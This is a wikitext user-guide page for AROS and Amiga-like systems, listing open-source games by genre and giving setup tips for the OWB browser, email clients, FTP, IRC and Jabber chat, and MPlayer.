|&lt;!--Sub Menu--&gt;Games Strategy [http://rtsgus.org/ RTSgus], [http://stargus.sourceforge.net/ Stargus], [https://github.com/KD-lab-Open-Source/Perimeter Perimeter], [https://matty77.itch.io/conflict-3049 conflict-3049], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/strategy MegaGlest (OpenGL)], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ signus], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=140&amp;pid=12446#post_12446 Wargus warcraft 2 setup], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12]
|-
|&lt;!--Sub Menu--&gt;Games Rhythm, Beat, Step [], [], [https://clonehero.net/ clonehero], [https://github.com/MatteoGodzilla/Dj-Engine Dj-Engine], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/misc Frets on Fire], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Shoot Em Ups [http://www.mhgames.org/oldies/formido/ Formido], [http://code.google.com/p/violetland/ Violetland], 
||&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/action Open Tyrian], [http://www.parallelrealities.co.uk/projects/starfighter.php Starfighter], [ Alien Blaster], [https://github.com/OpenFodder/openfodder OpenFodder], [https://archives.arosworld.org/?function=showfile&amp;file=game/action/ tbftss The Battle for the Solar System: the Pandora War]
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.parallelrealities.co.uk/projects/starfighter.php Starfighter], [ The Battle for the Solar System: the Pandora War]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Simulations [http://scp.indiegames.us/ Freespace 2], [http://www.heptargon.de/gl-117/gl-117.html GL117], [http://code.google.com/p/corsix-th/ Theme Hospital], [http://code.google.com/p/freerct/ Rollercoaster Tycoon], [http://hedgewars.org/ Hedgewars], [https://github.com/raceintospace/raceintospace raceintospace], [https://github.com/Return-To-The-Roots RTTR Settlers 2], [https://github.com/OoliteProject/oolite oolite elite], [https://github.com/fesh0r/newkind newkind elite], [https://github.com/bohemiainteractive/cwr Arma Cold War Src], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;SimCity, SimAnt, Sim Hospital, Theme Park, [https://github.com/angree/openttd_amiga_68k openttd amiga_68k], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12]
|-
|&lt;!--Sub Menu--&gt;Games Life Sim [https://github.com/ACreTeam/forest Animal Crossing], [ ], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Horror [https://github.com/Mikompilation/MikuPan Fatal Frame], [ ], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Sandbox Voxel Open World Exploration [https://github.com/ClassiCube/ Classicube],[http://www.michaelfogleman.com/craft/ Craft], [https://github.com/tothpaul/DelphiCraft DelphiCraft],[https://www.minetest.net/ Luanti formerly Minetest], [ infiniminer], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Battle Royale [https://bruh.io/ Play.Bruh.io], [https://www.coolmathgames.com/0-copter Copter Royale], [https://surviv.io/ Surviv.io], [https://nuggetroyale.io/#Ketchup Nugget Royale], [https://miniroyale2.io/ Miniroyale2.io], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Tower Defense [https://chriscourses.github.io/tower-defense/ HTML5], [https://github.com/SBardak/Tower-Defense-Game TD C++], [https://github.com/bdoms/love_defense LUA and LOVE], [https://github.com/HyOsori/Osori-WebGame HTML5], [https://github.com/PascalCorpsman/ConfigTD ConfigTD Pascal], [https://github.com/GloriousEggroll/wine-ge-custom Wine], []
|&lt;!--AROS--&gt;[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=180&amp;pid=12871#post_12871 Plants vs Zombies PvZ], 
|&lt;!--Amiga OS--&gt;[https://github.com/boingball/miggy-tower-defense miggy-tower-defense], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Visual Novel Engines [https://github.com/diane1f0cd/VisualNovelTemplate Visual Novel Template], [https://github.com/Kirilllive/tuesday-js Tuesday JS], [https://github.com/tejasnayak25/vnsutra vnsutra], [https://github.com/weetabix-su/renpsp-dev RenPSP], [https://github.com/Galladite27/ONScripter-EN ONScripter-EN], [https://github.com/NathanGuilhot/VNES-Raylib https://github.com/NathanGuilhot/VNES VNES in Raylib], [https://www.renpy.org/latest.html renpy ren'py python based], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Reality VR [https://gitlab.com/madsbuvi/openmw openmw vr], [https://github.com/Team-Beef-Studios/BeefRaiderXR BeefRaiderXR], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Table Top VTT [ Roll20], [https://www.owlbear.rodeo/ owlbear rodeo], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Computer assisted TableTop TTRPG OSR [https://www.rpgsolo.com/play.php RPGSolo], [https://github.com/fpsvogel/solo-ttrpgs Solo TTRPG], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games 2D 3D Engines [https://github.com/fegennari/3DWorld 3DWorld], [https://github.com/GarageGames/Torque3D Torque3D], [https://github.com/gameplay3d/GamePlay GamePlay 3D],  [https://www.babylonjs.com/ BabylonJS ], [ Godot], [ Ogre], [ Crystal Space], [https://github.com/JacobHess03/ Dragon-Quest like], [https://github.com/bjornbytes/lovr Lua LOVE for 2D LOVR for 3D], [], 
|&lt;!--AROS--&gt;[https://www.arkhamdev.net/wiki.htm?id=agx Arkham Development antiryadgx 8.9 lts with register], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/alpyre/Sevgi_Engine Sevgi Engine], [], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games C based game frameworks [https://github.com/orangeduck/Corange Corange], [https://github.com/scottcgi/Mojoc Mojoc], [https://orx-project.org/ Orx], [https://github.com/ioquake/ioq3 Quake 3], [https://www.mapeditor.org/ Tiled], [https://www.raylib.com/ 2d Raylib], [https://github.com/Rabios/awesome-raylib other raylib], [https://github.com/MrFrenik/gunslinger Gunslinger], [https://o3de.org/ o3d], [http://archives.aros-exec.org/index.php?function=browse&amp;cat=development/library GLFW], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=development/library Raylib 5], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games RPGMaker MV/MZ-compatible projects [https://github.com/Psychronic-Games/RPGReactor RPGReactor js],
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Pinball [https://github.com/vpinball/vpinball vpinball], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games unpack unarc [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|}


==Application Guides==

[[#top|...to the top]]

===Web Browser===

OWB is now at version 2.0 (which got an engine refresh, from July 2015 to February 2019) and 3.0.

This latest version has a good support for many/most web sites, even YouTube web page now works. [https://www.bilibili.tv/en/search untested] 

This improved compatibility comes at the expense of higher RAM usage (now 1GB RAM is the absolute minimum). 

Also, keep in mind that the lack of a JIT (Just-In-Time) JS compiler on the 32 bit version, makes the web surfing a bit slow. 

Only the 64 bit version of OWB 2.0 will have JIT enabled, thus benefitting of more speed. There are tooltypes that can be added to the icon to provide further features JIT, MSE etc 


Certificates from [https://curl.se/docs/caextract.html ca certs], 


DNS tracking blocking with [https://easylist.to/easylist/easylist.txt easylist.txt] in PROGDIR:Conf before starting browser with enabled AdBlock [https://github.com/easylist/easylist/tree/master easylist], [https://gitlab.com/eyeo anti abp], [https://firebog.net/ big blocklist], [https://github.com/StevenBlack/hosts Steves], [], [], 

This can be enabled with OWB Odyssey with Windows -&gt; Content Blocking and Windows -&gt; Messages and enter 

 https://www.youtube.com/api/stats/ads*
 https://www.youtube.com/pagead/adview*
 https://www.youtube.com#@##player-ads*

into your custom filters 


Element blocker browser extension might be needed for [https://github.com/easylist/easylist/wiki/Youtube-Issues youtube], [ mid roll], [ pre roll], [ ],  


OWB speed is much better when running from RAM Disk, the best way is to add the below into your S:User-Startup which copies OWB drawer from Extras:Internet/OWB to RAM Disk: 

So add this :
&lt;pre&gt;
copy Extras:Internet/OWB Ram:OWB/ ALL CLONE &gt;NIL:
copy Extras:Internet/OWB.info Ram: &gt;NIL:
&lt;/pre&gt;
Open RAM Disk and open OWB drawer and double click on OWB icon so that the above icon tooltypes are activated 

Problems are that the copy time is long (around 20 seconds added in the background), but we can make it faster if we delete useless files from the OWB drawer (docs, …)
If you don’t copy the drawer back onto the HD, you won’t save your cache, cookies, passwords… So you need a script for it.

 copy Extras:Internet/Amelinium/#? Ram:Amelinium/ ALL CLONE &gt;NIL: 

Error messages 

SSL error &quot;cant verify with ca-certificates&quot;, check bios clock time date is correct 

Error 6, try checking networking prefs settings and Save / Use preferences again or a '''few times''' otherwise the network chipset may not be compatible with Aros 


[https://www.google.com/search?q=%s&amp;udm=14 Google search without AI overview] 


===E-mail===

 YAM does not support SSL and most mail providers now switched to encrypted SMTP/POP3 connections


====SimpleMail====

SimpleMail supports IMAP and appears to work with GMail, but it's never been reliable enough, it can crash with large mailboxes.

Please read more on this [http://www.freelists.org/list/simplemail-usr User list]


 GMail

Be sure to activate the pop3 usage in your gmail account setup / configuration first.

pop3: 
pop.gmail.com
Use SSL: Yes
Port: 995

smtp:
smtp.gmail.com (with authentication)
Use Authentication: Yes
Use SSL: Yes
Port: 465 or 587


 Hotmail/MSN/outlook/Microsoft Mail mid-2017, all outlook.com accounts will be migrated to Office 365 / Exchange

Most users are currently on POP which does not allow showing folders and many other features (technical limitations of POP3). With Microsoft IMAP you will get folders, sync read/unread, and show flags. You still won't get push though, as Microsoft has not turned on the IMAP Idle command as at Sept 2013.

If you want to try it, you need to first remove (you can't edit) your pop account (long-press the account on the accounts screen, delete account). Then set it up this way:

1. Email/Password
2. Manual
3. IMAP
4.

* Incoming: imap-mail.outlook.com, port 993, SSL/TLS should be checked
* Outgoing: smtp-mail.outlook.com, port 587, SSL/TLS should be checked
* POP server name pop-mail.outlook.com, port 995, POP encryption method SSL

 Yahoo  Mail

On April 24, 2002 Yahoo ceased to offer POP access to its free mail service. Introducing instead a yearly payment feature, allowing users POP3 and IMAP server support, along with such benefits as larger file attachment sizes and no adverts.

Sorry to see Yahoo leaving its users to cough up for the privilege of accessing their mail. Understandable, when competing against rivals such as Gmail and Hotmail who hold a large majority of users and were hacked in 2014 as well.


Incoming Mail (IMAP) Server

* Server - imap.mail.yahoo.com
* Port - 993
* Requires SSL - Yes

Outgoing Mail (SMTP) Server

* Server - smtp.mail.yahoo.com
* Port - 465 or 587
* Requires SSL - Yes
* Requires authentication - Yes

Your login info

* Email address - Your full email address (name@domain.com)
* Password - Your account's password
* Requires authentication - Yes


Note that you need to enable “Web &amp; POP Access” in your Yahoo Mail account to send and receive Yahoo Mail messages through any other email program.

You will have to enable “Allow your Yahoo Mail to be POPed” under “POP and Forwarding”, to send and receive Yahoo mails through any other email client.

Cannot be done since 2002 unless the customer pays Yahoo a subscription subs fee to have access to SMTP and POP3

* Set the POP server for incoming mails as pop.mail.yahoo.com. You will have to enable “SSL” and use 995 for Port.
* “Account Name or Login Name” – Your Yahoo Mail ID i.e. your email address without the domain “@yahoo.com”.
* “Email Address” – Your Yahoo Mail address i.e. your email address including the domain “@yahoo.com”. E.g. myname@yahoo.com
* “Password” – Your Yahoo Mail password.

Yahoo! Mail Plus users may have to set POP server as plus.pop.mail.yahoo.com and SMTP server as plus.smtp.mail.yahoo.com.

* Set the SMTP server for outgoing mails as smtp.mail.yahoo.com. You will also have to make sure that “SSL” is enabled and use 465 for port. you must also enable “authentication” for this to work.


====YAM Yet Another Mailer====

 YAM does not support SSL and most mail providers have now switched to encrypted SMTP/POP3 connections

This email client is POP3 only if the SSL library is available [http://www.freelists.org/list/yam YAM Freelists]

One of the downsides of using a POP3 mailer unfortunately - you have to set an option not to delete the mail if you want it left on the server. IMAP keeps all the emails on the server.

Possible issues

Sending mail issues is probably a matter of using your ISP's SMTP server, though it could also be an SSL issue.


getting a &quot;Couldn't initialise TLSv1 / SSL error

Use of on-line e-mail accounts with this email client is not possible as it lacks the OpenSSL AmiSSl v3 compatible library

 GMail 
Incoming Mail (POP3) Server - requires SSL: pop.gmail.com
Use SSL: Yes
Port: 995

Outgoing Mail (SMTP) Server - requires TLS: smtp.gmail.com (use authentication)
Use Authentication: Yes
Use STARTTLS: Yes (some clients call this SSL)
Port: 465 or 587

Account Name: your Gmail username (including '@gmail.com')
Email Address: your full Gmail email address (username@gmail.com)
Password: your Gmail password

Anyway, the SMTP is pop.gmail.com port 465 and it uses SSLLv3 Authentication. The POP3 settings are for the same server (pop.gmail.com), only on port 995 instead.


 Outlook.com access

&lt;pre &gt;
Outlook.com SMTP server address: smtp.live.com
Outlook.com SMTP user name: Your full Outlook.com email address (not an alias)
Outlook.com SMTP password: Your Outlook.com password
Outlook.com SMTP port: 587
Outlook.com SMTP TLS/SSL encryption required: yes 
&lt;/pre &gt;


 Yahoo  Mail

&lt;pre &gt;
“POP3 Server” – Set the POP server for incoming mails as pop.mail.yahoo.com. You will have to enable “SSL” and use 995 for Port.
“SMTP Server” – Set the SMTP server for outgoing mails as smtp.mail.yahoo.com. You will also have to make sure that “SSL” is enabled and use 465 for port. you must also enable “authentication” for this to work.
“Account Name or Login Name” – Your Yahoo Mail ID i.e. your email address without the domain “@yahoo.com”.
“Email Address” – Your Yahoo Mail address i.e. your email address including the domain “@yahoo.com”. E.g. myname@yahoo.com
“Password” – Your Yahoo Mail password.
&lt;/pre &gt;

Yahoo! Mail Plus users may have to set POP server as plus.pop.mail.yahoo.com and SMTP server as plus.smtp.mail.yahoo.com.

Note that you need to enable “Web &amp; POP Access” in your Yahoo Mail account to send and receive Yahoo Mail messages through any other email program.

You will have to enable “Allow your Yahoo Mail to be POPed” under “POP and Forwarding”, to send and receive Yahoo mails through any other email client.

Cannot be done since 2002 unless the customer pays Yahoo a monthly fee to have access to SMTP and POP3


 Microsoft Outlook Express Mail 

1. Get the files to your PC.
By whatever method get the files off your Amiga onto your PC. In the YAM folder you have a number of different folders, one for each of your folders in YAM. Inside that is a file usually some numbers such as 332423.283. YAM created a new file for every single email you received.

2. Open up a brand new Outlook Express. Just configure the account to use 127.0.0.1 as mail servers. It doesn't really matter. You will need to manually create any subfolders you used in YAM.

3. You will need to do a mass rename on all your email files from YAM. Just add a .eml to the end of it. Amazing how PCs still rely mostly on the file name so it knows what sort of file it is rather than just looking at it! There are a number of multiple renamers online to download and free too.

4. Go into each of your folders, inbox, sent items etc. And do a select all then drag the files into Outlook Express (to the relevant folder obviously) Amazingly the file format that YAM used is very compatible with .eml standard and viola your emails appear. With correct dates and working attachments.

5. If you want your email into Microsoft Outlook. Open that up and create a new profile and a new blank PST file. Then go into File Import and choose to import from Outlook Express. And the mail will go into there. And viola.. you have your old email from your Amiga in a more modern day format.


===FTP===

Magellan has a great FTP module. It allows transferring files from/to a FTP server over the Internet or the local network and, even if FTP is perceived as a &quot;thing of the past&quot;, its usability is all inside the client. The FTP thing has a nice side effect too, since every Icaros machine can be a FTP server as well, and our files can be easily transferred from an Icaros machine to another with a little configuration effort.

First of all, we need to know the 'server' IP address. Server is the Icaros machine with the file we are about to download on another Icaros machine, that we're going to call 'client'. To do that, move on the server machine and 1) run Prefs/Services to be sure &quot;FTP file transfer&quot; is enabled (if not, enable it and restart Icaros); 2) run a shell and enter this command:

ifconfig -a

Make a note of the IP address for the network interface used by the local area network. For cabled devices, it usually is net0:. Now go on the client machine and run Magellan:

Perform these actions: 1) click on FTP; 2) click on ADDRESS BOOK; 3) click on &quot;New&quot;. 
You can now add a new entry for your Icaros server machine:

1) Choose a name for your server, in order to spot it immediately in the address book. Enter the IP address you got before.

2) click on Custom Options:


1) go to Miscellaneous in the left menu;

2) Ensure &quot;Passive Transfers&quot; is NOT selected;

3) click on Use. We need to deactivate Passive Transfers because YAFS, the FTP server included in Icaros, only allows active transfers at the current stage. Now, we can finally connect to our new file source:


1) Look into the address book for the newly introduced server, be sure that name and IP address are right, and

2) click on Connect. A new lister with server's &quot;MyWorkspace&quot; contents will appear. You can now transfer files over the network choosing a destination among your local (client's) volumes.

Can be adapted to any FTP client on any platform of your choice, just be sure your client allows Active Transfers as well.


===IRC Internet Relay Chat===

Jabberwocky is ideal for one-to-one social media communication, use IRC if you require one to many. 

Just type a message in ''lowercase''' letters and it will be posted to all in the [ AROS irc channel]. Please do not use UPPER CASE as it is a sign of SHOUTING which is annoying.

Other things to type in - replace &lt;message&gt; with a line of text and &lt;nick&gt; with a person's name

&lt;pre&gt;
/help

/list

/who
/whois &lt;nick&gt;

/msg &lt;nick&gt; &lt;message&gt;

/query &lt;nick&gt; 
&lt;message&gt;s
/query

/away &lt;message&gt;
/away

/quit &lt;going away message&gt; 
&lt;/pre&gt;


[http://irchelp.org/irchelp/new2irc.html#smiley Intro guide here]. IRC Primer can be found here in [http://www.irchelp.org/irchelp/ircprimer.html html], [http://www.irchelp.org/irchelp/text/ircprimer.txt TXT], [http://www.kei.com/irc/IRCprimer1.1.ps PostScript].


Issue the command /me &lt;text&gt; where &lt;text&gt; is the text that should follow your nickname.
Example: /me slaps ajk around a bit with a large trout

/nick &lt;newNick&gt;

/nickserv register &lt;password&gt; &lt;email address&gt;

/ns instead of /nickserv, while others might need /msg nickserv

/nickserv identify &lt;password&gt;

Alternatives:
/ns identify &lt;password&gt;
/msg nickserv identify &lt;password&gt;


==== IRC WookieChat ====

WookieChat is the most complete internet client for communication across the IRC Network. WookieChat allows you to swap ideas and communicate in real-time, you can also exchange Files, Documents, Images and everything else using the application's DCC capabilities.


add smilies drawer/directory

 run wookiechat from the shell and set stack to 1000000 e.g. wookiechat stack 1000000

select a server / server window

* nickname 
* user name 
* real name - optional

Once you configure the client with your preferred screen name, you'll want to find a channel to talk in.


servers

* New Server - click on this to add / add extra - change details in section below this click box 
* New Group
* Delete Entry
* Connect to server
* connect in new tab
* perform on connect

Change details

* Servername - change text in this box to one of the below Server: 
* Port number - no need to change
* Server password
* Channel - add #channel from below 
* auto join - can click this 
* nick registration password,

Click Connect to server button above


&lt;pre&gt;
Server: irc.freenode.net
Channel: #aros
&lt;/pre&gt;

irc://irc.freenode.net/aros

&lt;pre&gt;
Server: chat.amigaworld.net 
Channel: #amigaworld or #amigans 
&lt;/pre&gt;

&lt;pre&gt;
On Sunday evenings USA time usually starting around 3PM EDT (1900 UTC)
Server:irc.superhosts.net
Channel #team*amiga  
&lt;/pre&gt;

&lt;pre&gt;
BitlBee and Minbif are IRCd-like gateways to multiple IM networks
Server: im.bitlbee.org 
Port 6667 
Seems to be most useful on WookieChat as you can be connected to several servers at once. One for Bitlbee and any messages that might come through that. One for your normal IRC chat server. 
&lt;/pre&gt;

[http://www.bitlbee.org/main.php/servers.html Other servers],

&lt;pre&gt;
#Amiga.org - irc.synirc.net eu.synirc.net dissonance.nl.eu.synirc.net (IPv6: 2002:5511:1356:0:216:17ff:fe84:68a) 
twilight.de.eu.synirc.net zero.dk.eu.synirc.net us.synirc.net avarice.az.us.synirc.net envy.il.us.synirc.net harpy.mi.us.synirc.net 
liberty.nj.us.synirc.net snowball.mo.us.synirc.net - Ports 6660-6669 7001 (SSL)
&lt;/pre&gt;

&lt;pre&gt;
Multiple server support
&quot;Perform on connect&quot; scripts and channel auto-joins
Automatic Nickserv login
Tabs for channels and private conversations
CTCP PING, TIME, VERSION, SOUND
Incoming and Outgoing DCC SEND file transfers
Colours for different events
Logging and automatic reloading of logs
mIRC colour code filters
Configurable timestamps
GUI for changing channel modes easily
Configurable highlight keywords
URL Grabber window
Optional outgoing swear word filter
Event sounds for tabs opening, highlighted words, and private messages
DCC CHAT support
Doubleclickable URL's
Support for multiple languages using LOCALE
Clone detection
Auto reconnection to Servers upon disconnection
Command aliases
Chat display can be toggled between AmIRC and mIRC style
Counter for Unread messages
Graphical nicklist and graphical smileys with a popup chooser
&lt;/pre&gt;


====IRC Aircos ====

Double click on Aircos icon in Extras:Networking/Apps/Aircos. It has been set up with a guest account for trial purposes. Though ideally, choose a nickname and password for frequent use of irc. 


====IRC and XMPP Jabberwocky====
 Servers are setup and close down at random 
You sign up to a server that someone else has setup and access chat services through them. 

The two ways to access chat from jabberwocky
&lt;pre &gt;
Jabberwocky -&gt; Server -&gt; XMPP -&gt; open and ad-free 
Jabberwocky -&gt; Server -&gt; Transports (Gateways) -&gt; Proprietary closed systems 
&lt;/pre &gt;

The Jabber.org service connects with all IM services that use XMPP, the open standard for instant messaging and presence over the Internet. The services we connect with include Google Talk (closed), Live Journal Talk, Nimbuzz, Ovi, and thousands more. However, you can not connect from Jabber.org to proprietary services like AIM, ICQ, MSN, Skype, or Yahoo because they don’t yet use XMPP components (XEP-0114) '''but''' you can use Jabber.com's servers and IM gateways (MSN, ICQ, Yahoo etc.) instead.

The best way to use jabberwocky is in conjunction with a public jabber server with '''transports''' to your favorite services, like gtalk, Facebook, yahoo, ICQ, AIM, etc.


You have to register with one of the servers, [https://list.jabber.at/ this list] or [http://www.jabberes.org/servers/ another list], [http://xmpp.net/ this security XMPP list],

Unfortunately jabberwocky can only connect to one server at a time so it is best to check what services each server offers. If you set it up with separate Facebook and google talk accounts, for example, sometimes you'll only get one or the other.

Jabberwocky open a window where the Jabber server part is typed in as well as your Nickname and Password.

Jabber ID (JID) identifies you to the server and other users.

Once registered the next step is to goto Jabberwocky's &quot;Windows&quot; menu and select the &quot;Agents&quot; option. The &quot;Agents List&quot; window will open.

Roster (contacts list)

[http://search.wensley.org.uk/ Chatrooms] (MUC) are available

File Transfer - can send and receive files through the Jabber service but not with other services like IRC, ICQ, AIM or Yahoo. All you need is an installed webbrowser and OpenURL.

Clickable URLs - The message window uses Mailtext.mcc and you can set a URL action in the MUI mailtext prefs like SYS:Utils/OpenURL %s NEWWIN.

There is no consistent Skype like (H.323 VoIP) video conferencing available over Jabber. The move from xmpp to Jingle should help but no support on any amiga-like systems at the moment. [http://aminet.net/package/dev/src/AmiPhoneSrc192 AmiPhone] and [http://www.lysator.liu.se/%28frame,faq,nobg,useframes%29/ahi/v4-site/ Speak Freely] was an early attempt voice only contact. SIP and Asterisk are other PBX options.


 Facebook

If you're using the XMPP transport provided by Facebook themselves, chat.facebook.com, it looks like they're now requiring SSL transport. This means jabberwocky method below will no longer work. The best thing to do is to create an ID on a public jabber server which has a Facebook gateway.

&lt;pre &gt;
1. launch jabberwocky
2. if the login window doesn't appear on launch, select 'account' from the jabberwocky menu
3. your jabber ID will be user@chat.facebook.com where user is your user ID
4. your password is your normal facebook password
5. to save this for next time, click the popup gadget next to the ID field

6. click the 'add' button
7. click the 'close' button
8. click the 'connect' button
&lt;/pre &gt;

you're done. you can also click the 'save as default account' button if you want. jabberwocky configured to auto-connect when launching the program, but you can configure as you like. there is amigaguide documentation included with jabberwocky.

[http://amigaworld.net/modules/newbb/viewtopic.php?topic_id=37085&amp;forum=32 Read more here]

for Facebook users, you can log-in directly to Facebook with jabberwocky. just sign in as @chat.facebook.com with your Facebook password as the password


 Twitter

For a few years, there has been added a twitter transport. Servers include [http://jabber.hot-chilli.net/ jabber.hot-chili.net],  and .

An [http://jabber.hot-chilli.net/tag/how-tos/ How-to]

:Read [http://jabber.hot-chilli.net/2010/05/09/twitter-transport-working/ more]

 Instagram 

no support at the moment best to use a web browser based client

 ICQ

The new version (beta) of StriCQ uses a newer ICQ protocol. Most of the ICQ Jabber Transports still use an older ICQ protocol. You can only talk one-way to StriCQ using the older Transports. Only the newer ICQv7 Transport lets you talk both ways to StriCQ. Look at the server lists in the first section to check.

Register on a Jabber server, e.g. this one works: http://www.jabber.de/
Then login into Jabberwocky with the following login data e.g. xxx@jabber.de / Password: xxx Now add your ICQ account under the window-&gt;Agents-&gt;&quot;Register&quot;. Now Jabberwocky connects via the Jabber.de server with your ICQ account.

 Yahoo Messenger

although yahoo! does not use xmpp protocol, you should be able to use the transport methods to gain access and post your replies

 MSN

early months of 2013 Microsoft will ditch MSN Messenger client and force everyone to use Skype...but MSN protocol and servers will keep working as usual for quite a long time....

Occasionally the Messenger servers have been experiencing problems signing in.  You may need to sign in at www.outlook.com and then try again.  It may also take multiple tries to sign in.  (This also affects you if you’re using Skype.)

You have to check each servers' Agents List to see what transports (MSN protocol, ICQ protocol, etc.) are supported or use the list address' provided in the section above. Then register with each transport (IRC, MSN, ICQ, etc.) to which you need access. After registering you can Connect to start chatting.

msn.jabber.com/registered should appear in the window.

From this [http://tech.dir.groups.yahoo.com/group/amiga-jabberwocky/message/1378 JW group] guide which  helps with this process in a clear, step by step procedure.

1. Sign up on MSN's site for a passport account. This typically involves getting a Hotmail address.

2. Log on to the Jabber server of your choice and do the following:

* Select the &quot;Windows/Agents&quot; menu option in Jabberwocky.
* Select the MSN Agent from the list presented by the server.
* Click the Register button to open a new window asking for:
**Username = passort account email address, typically your hotmail address.
**Nick = Screen name to be shown to anyone you add to your buddy list.
**Password = Password for your passport account/hotmail address.
* Click the Register button at the bottom of the new window.

3. If all goes well, you will see the MSN Gateway added to your buddy list. If not, repeat part 2 on another server. Some servers may show MSN in their list of available agents, but have not updated their software for the latest protocols used by MSN.

4. Once you are registered, you can now add people to your buddy list. Note that you need to include the '''msn.''' ahead of the servername so that it knows what gateway agent to use. Some servers may use a slight variation and require '''msg.gate.''' before the server name, so try both to see what works.

If my friend's msn was amiga@hotmail.co.uk and my jabber server was @jabber.meta.net.nz..
then amiga'''%'''hotmail.com@'''msn.'''jabber.meta.net.nz

or another the trick to import MSN contacts is that you don't type the hotmail URL but the passport URL... e.g. Instead of: goodvibe%hotmail.com@msn.jabber.com  You type: goodvibe%passport.com@msn.jabber.com 
And the thing about importing contacts I'm afraid you'll have to do it by hand, one at the time...

 Google Talk

any XMPP server will work, but you have to add your contacts manually. a google talk user is typically either @gmail.com or @talk.google.com. a true gtalk transport is nice because it brings your contacts to you and (can) also support file transfers to/from google talk users.

implement Jingle a set of extensions to the IETF's Extensible Messaging and Presence Protocol (XMPP)

support ended early 2014 as Google moved to Google+ Hangouts which uses it own proprietary format


===Video Player MPlayer===

Many of the menu features (such as doubling) do not work with the current version of mplayer but using

4:3
 mplayer -vf scale=800:600 file.avi

16:9
 mplayer -vf scale=854:480 file.avi

if you want gui use;
 mplayer -gui 1 &lt;other params&gt; file.avi

&lt;pre &gt;
stack 1000000

; using AspireOS 1.xx 
; copy FROM SYS:Extras/Multimedia/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

; using Icaros Desktop 1.x 
; copy FROM SYS:Tools/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

; using Icaros Desktop 2.x 
; copy FROM SYS:Utilities/MPlayer/ TO RAM:MPlayer ALL CLONE &gt; Nil:

cd RAM:MPlayer
run MPlayer -gui &gt; Nil:
;run MPlayer -gui -ao ahi_dev -playlist http://www.radio-paralax.de/listen.pls &gt; Nil: 
&lt;/pre &gt;

$ mplayer rtsp://127.0.0.1:554/sample_300kbit.mp4


MPlayer supports multicast streaming, and rtp/rtsp protocols (it might require [http://www.live555.com/openRTSP/ live555 library] to work with some streams). But you might have to build it where it's disabled. Also, multicast won't work with some AmiTCP-likes. MIAMI supported it, though.

AROS supports IPv4 (old but works) and this includes the needed address space for RTP.

If you mean multicast via RTP - mplayer handles it. You can even force UDP over TCP

-rtsp-stream-over-tcp

If the rtsp Real Time Streaming Protocol  server needs authentification:

-user -passwd


MPlayer - Menu - Open Playlist and load already downloaded .pls or .m3u file - auto starts around 4 percent cache

MPlayer - Menu - Open Stream and copy one of the .pls lines below into space allowed, press OK and press play button on main gui interface


Old 8bit 16bit remixes chip tune game music 
 
http://www.radio-paralax.de/listen.pls 

